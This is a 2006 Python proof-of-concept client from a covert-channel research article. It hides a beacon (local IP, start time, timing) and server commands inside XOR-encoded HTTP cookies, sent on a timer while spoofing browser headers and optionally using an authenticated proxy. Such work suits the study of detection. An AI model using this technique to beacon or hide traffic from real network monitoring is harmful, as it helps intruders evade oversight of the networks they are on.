#!/usr/bin/env python
#
# How to cook a covert channel - v1.0 - http://gray-world.net
# Copyright (c) 2006, Gray World Team <team [at] gray-world.net>
#
# cook_cl.py - v1.0
#

import sys, signal, getopt, time, struct, binascii, socket
from socket import inet_aton,inet_ntoa
from sha import sha

###############################################################################
### Globales
###############################################################################

PROGNAME="cook_cl.py"
PROGVERSION="1.0"

VERBOSE=0                   # Verbose mode display infos on stdout
CF_IP="127.0.0.1"           # default srv ip
CF_PORT=80                  # default srv port
CF_URL="/cook/cook.html"    # default srv url
CF_PROXY=None               # default proxy (ip:port:user:pass)
CF_MIMIC="msie"             # default browser mimic
SECS=10                     # default contact period
PADBYTE='\x42'              # default padding byte
COOKIE_NAME="PREF"          # default cookie name
COOKIE_SIZE=24              # default cookie size
PADDING_ACT=0               # default : no padding

# Xoring the message
KEY="cooking covert channels"
RBYTES="Soon her eye fell on a little glass box that was lying under the table:"
RBYTES=RBYTES+" she opened it, and found in it a very small c...ookie"
RBYTES_POS=0
RBYTES_POSI=0

# Server commands
UPDATE_CTIME='\x01'
UPDATE_RBYTES='\x02'
UPDATE_SIZE='\x03'

# Client commands
AM_UP=ord('\x01')

###############################################################################
### Generic functions
###############################################################################

def usage(version):
  print PROGNAME+" - v"+PROGVERSION
  if (version == 1): sys.exit(0)
  print "-----------------\n"
  print "Usage:"
  print "  ./"+PROGNAME+" [-h|-V]"
  print "  ./"+PROGNAME+" [-d server] [-p port] [-u url] [-s sec] [-a proxy_ip:proxy_port:user:pass] [-m mimic] [-v]\n"
  print "Arguments:"
  print "  -h\thelp"
  print "  -V\tversion"
  print "  -v\tverbose mode\n"
  print "  -d\tremote server ip or fqdn (default '"+CF_IP+"')"
  print "  -p\tremote server HTTP port  (default '"+str(CF_PORT)+"')"
  print "  -u\tremote server HTTP url   (default '"+CF_URL+"')"
  print "  -s\tsending delay (seconds)  (default '"+str(SECS)+"')"
  print "  -a\tHTTP proxy configuration (ip:port:user:pass)"
  print "  -m\tMimic browser ('msie' or 'firefox') (default: '"+CF_MIMIC+"')"
  sys.exit(0)

def get_params():
  global VERBOSE,CF_IP,CF_PORT,CF_URL,SECS,CF_PROXY,CF_MIMIC
  if (len(sys.argv) == 1) : usage(0)
  opts = getopt.getopt(sys.argv[1:],"hVvd:p:u:s:a:m:")
  for opt,optarg in opts[0]:
    if (opt == "-h"): usage(0)
    elif (opt == "-V"): usage(1)
    elif (opt == "-v"): VERBOSE=1
    elif (opt == "-d"): CF_IP=optarg
    elif (opt == "-p"): CF_PORT=int(optarg)
    elif (opt == "-u"): CF_URL=optarg
    elif (opt == "-s"): SECS=int(optarg)
    elif (opt == "-a"): CF_PROXY=optarg
    elif (opt == "-m"): 
      if optarg:
        if optarg == "msie": CF_MIMIC="msie"
        elif optarg == "firefox": CF_MIMIC="firefox"
  CF_PROXY=configure_proxy(CF_PROXY)
  if VERBOSE == 1 :
    print time.strftime("%H:%M:%S")+" - Configured with proxy "+repr(CF_PROXY)

def configure_proxy(arg):
  if not arg: return None
  proxy = arg.split(':')
  if not len(proxy) == 4: return None
  if not len (proxy[0].split('.')) == 4 or not "".join(proxy[0].split('.')).isdigit(): return None
  for i in proxy[0].split('.'):
    if int(i) < 0 or int(i) > 254: return None
  if not proxy[1].isdigit() or int(proxy[1]) < 1 or int(proxy[1]) > 65535: return None
  return proxy

def get_local_ip():
  try:
    ip = socket.getaddrinfo(socket.gethostname(),0)[-1][-1][0]
  except:
    ip="127.0.0.1"
  return ip

def checksum(str):
  return(binascii.crc32(str) & 0xffff)

def strxor(x,y):
    return "".join(map(lambda x,y:chr(ord(x)^ord(y)),x,y))

###############################################################################
### Cookie functions
###############################################################################

def prepare_xor(lg) :
  global RBYTES_POS,RBYTES_POSI
  if RBYTES_POSI > 0 :
    toxor=sha(KEY+RBYTES[:RBYTES_POS]).digest()[20-RBYTES_POSI:] # 20 is sha size
    RBYTES_POSI=0
  RBYTES_POS += 1
  if RBYTES_POS > len(RBYTES)-1 : return ""
  toxor=sha(KEY+RBYTES[:RBYTES_POS]).digest()
  while lg > len(toxor) :
    RBYTES_POS += 1
    if RBYTES_POS > len(RBYTES)-1 : return ""
    toxor = toxor + sha(KEY+RBYTES[:RBYTES_POS]).digest()
  RBYTES_POSI = len(toxor)-lg
  return toxor[:len(toxor)-RBYTES_POSI]

def build_cookie(cmdinfo):
  if PADDING_ACT == 1:
    padding=PADBYTE*((COOKIE_SIZE-2)-(len(cmdinfo)))
  else:
    padding=""
  cksum=struct.pack("!H",checksum(cmdinfo))
  toxor=prepare_xor(len(cksum+cmdinfo+padding))
  xor=strxor(cksum+cmdinfo+padding,toxor)
  cooked=binascii.b2a_hex(xor)
  return (cooked)

###############################################################################
### Cooking
###############################################################################

def tell_I_am_up(cooked,cmd):

  if not cooked: # It means we have to send a new cookie
    cmd=cmd
    ip=get_local_ip()
    contact_period=SECS
    cmdinfo=struct.pack("!b4sIH",cmd,inet_aton(ip),int(STARTTIME),contact_period)
    cooked = build_cookie(cmdinfo)

  if VERBOSE == 1 :
    print time.strftime("%H:%M:%S")+" - Sending cookie to %s:%s%s (%d/%d): %s" % (CF_IP,str(CF_PORT),CF_URL,RBYTES_POS,RBYTES_POSI,cooked)

  return cooked

def manage_reply(reply):
  global SECS,RBYTES,COOKIE_SIZE,PADDING_ACT
  xor=binascii.a2b_hex(reply)
  toxor=prepare_xor(len(xor))
  unxor=strxor(xor,toxor)

  if VERBOSE == 1 :
    print time.strftime("%H:%M:%S")+" - Got %d bytes cookie (%d/%d): %s" % (len(unxor),RBYTES_POS,RBYTES_POSI,repr(unxor))

  if len(unxor) < 3: return ("") # Minimal is checksum and command
  (cksum,cmd) = struct.unpack(">"+"2s1s",unxor[:3])

  if (cmd == UPDATE_CTIME):
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Command Update contact time"
    if (len(unxor) < 5): return("")
    (period_str,period_int) = struct.unpack(">"+"2sH",unxor[3:5]+unxor[3:5])
    cmdinfo=cmd+period_str
    verify=struct.pack("!H",checksum(cmdinfo))
    if not verify == cksum: return("")
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Updating contact period to "+str(period_int)+" secs"
    SECS=period_int
    return (~ord(UPDATE_CTIME) & 0xff)

  if (cmd == UPDATE_RBYTES):
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Command Update Rbytes"
    if (len(unxor) < 6): return("")
    rbytes_lg = struct.unpack(">H",unxor[3:5])[0]
    if rbytes_lg > len(unxor)-5 or rbytes_lg < 1: return("")
    rbytes = struct.unpack(">"+str(rbytes_lg)+"s",unxor[5:rbytes_lg+5])[0]
    cmdinfo=cmd+unxor[3:5]+rbytes
    verify=struct.pack("!H",checksum(cmdinfo))
    if not verify == cksum: return("")
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Updating rbytes with "+repr(rbytes)+" "
    RBYTES=RBYTES+rbytes
    return (~ord(UPDATE_RBYTES) & 0xff)

  if (cmd == UPDATE_SIZE):
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Command Update Size"
    if (len(unxor) < 6): return("")
    tmp = unxor[3:5]+unxor[3:5]+unxor[5:6]+unxor[5:6]
    (size_str,size_int,dp_str,dp_int) = struct.unpack(">"+"2sH1sb",tmp)
    cmdinfo=cmd+size_str+dp_str
    verify=struct.pack("!H",checksum(cmdinfo))
    if not verify == cksum: return("")
    if size_int < 6: return("")
    COOKIE_SIZE=size_int
    PADDING_ACT=dp_int
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Updating cookie size to "+str(size_int)+\
      " (padding activation: "+str(dp_int)+")"
    return (~ord(UPDATE_SIZE) & 0xff)

  return ("")

###############################################################################
### HTTP
###############################################################################

def build_http_msie(cooked):

  # Doing as MSIE (be careful to have your webserver send Proxy-Connection: Close ;)

  if CF_PROXY:
    if CF_PORT == 80:
      request="GET http://%s%s HTTP/1.0" % (CF_IP,CF_URL)
    else:
      request="GET http://%s:%d%s HTTP/1.0" % (CF_IP,CF_PORT,CF_URL,CF_IP)
    auth=binascii.b2a_base64(CF_PROXY[2]+":"+CF_PROXY[3])
    if auth[len(auth)-1] == '\n':
      proxy="Proxy-authorization: Basic "+auth[:len(auth)-2]+"\r\n"
    else:
      proxy="Proxy-authorization: Basic "+auth+"\r\n"
    ka="Proxy-Connection: keep-alive\r\n"
  else:
    request="GET %s HTTP/1.0" % (CF_URL)
    proxy=""
    ka="Connection: keep-alive\r\n"

  host="Host: %s\r\n" % (CF_IP)

  header=request+"\r\n"+\
    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n"+\
    "Accept-Language: fr\r\n"+\
    "Cookie: "+COOKIE_NAME+"="+cooked+"\r\n"+\
    proxy+\
    "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"+\
    host+ka

  http = header+"\r\n"
  return (http)

def build_http_firefox(cooked):

  # Doing as Firefox (be careful to have your webserver send Proxy-Connection: Close ;)

  if CF_PROXY:
    if CF_PORT == 80:
      request="GET http://%s%s HTTP/1.0\r\nHost: %s" % (CF_IP,CF_URL,CF_IP)
    else:
      request="GET http://%s:%d%s HTTP/1.0\r\nHost: %s" % (CF_IP,CF_PORT,CF_URL,CF_IP)
    auth=binascii.b2a_base64(CF_PROXY[2]+":"+CF_PROXY[3])
    if auth[len(auth)-1] == '\n':
      proxy="Proxy-authorization: Basic "+auth[:len(auth)-2]+"\r\n"
    else:
      proxy="Proxy-authorization: Basic "+auth+"\r\n"
    ka="Keep-Alive: 300\r\nProxy-Connection: keep-alive\r\n"
  else:
    request="GET %s HTTP/1.0\r\nHost: %s" % (CF_URL,CF_IP)
    proxy=""
    ka="Keep-Alive: 300\r\nConnection: keep-alive\r\n"

  header=request+"\r\n"+\
    "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;)\r\n"+\
    "Accept: text/xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"+\
    "Accept-Language: en-us,en;q=0.5\r\n"+\
    "Accept-Encoding: gzip,deflate\r\n"+\
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"+\
    ka+\
    "Cookie: "+COOKIE_NAME+"="+cooked+"\r\n"+\
    proxy+\
    "Pragma: no-cache\r\n"+\
    "Cache-Control: no-cache\r\n"

  http = header+"\r\n"
  return (http)

def decode_http(reply):
  if not reply or len(reply) < 200: return("") # 200 for default HTTP header
  cline="Set-Cookie: "+COOKIE_NAME+"="
  res=[]
  for line in reply.splitlines():
    if VERBOSE == 1 and line.find("HTTP/1") == 0 and len(line.split()) > 1 and line.split()[1] != "200":
      print time.strftime("%H:%M:%S")+" - Unrecognized message: " + " ".join(line.split()[1:])
    if line.find(cline) >= 0:
      if len(line) == len(cline): return("")
      stop=line.find(";")
      if not stop: return("")
      res.append(line[len(cline):stop])
  return(res)

###############################################################################
### Sending
###############################################################################

def send_cookie(cooked):
  try: 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  except socket.error:
    s=None
  try:
    if CF_PROXY:
      s.connect((CF_PROXY[0],int(CF_PROXY[1])))
    else:
      s.connect((CF_IP,CF_PORT))
  except socket.error:
    s=None
  if s is None:
    if VERBOSE == 1 :
      print time.strftime("%H:%M:%S")+" - Cannot send cookie"
    return("")
  if CF_MIMIC == "firefox" : http = build_http_firefox(cooked)
  elif CF_MIMIC == "msie" : http = build_http_msie(cooked)
  else : http = build_http_msie(cooked)
  s.send(http)
  reply=s.recv(1024)
  s.close
  return(decode_http(reply))

###############################################################################
### Main
###############################################################################

get_params()

STARTTIME=time.time()
cooked=""
reply=""

while 1:
  cooked = tell_I_am_up(cooked,AM_UP)
  reply = send_cookie(cooked)
  if reply:
    ack=[]
    for cookie in reply:
      ack.append(manage_reply(cookie))
    for tosend in ack:
      cooked = tell_I_am_up("",tosend)
      send_cookie(cooked)
    cooked=""
  time.sleep(SECS)

